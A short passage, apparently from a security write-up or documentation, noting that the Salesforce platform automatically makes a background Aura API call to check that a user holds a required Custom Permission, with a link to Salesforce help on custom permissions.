with this session, the following Aura API call was made transparently and automatically in the background. This call was m ade by the 
platform to validate that the calling user possessed the necessary Custom Permission.  
 

 
 

https://help.salesforce.com/articleView?id=custom_perms_overview.htm&type=5























































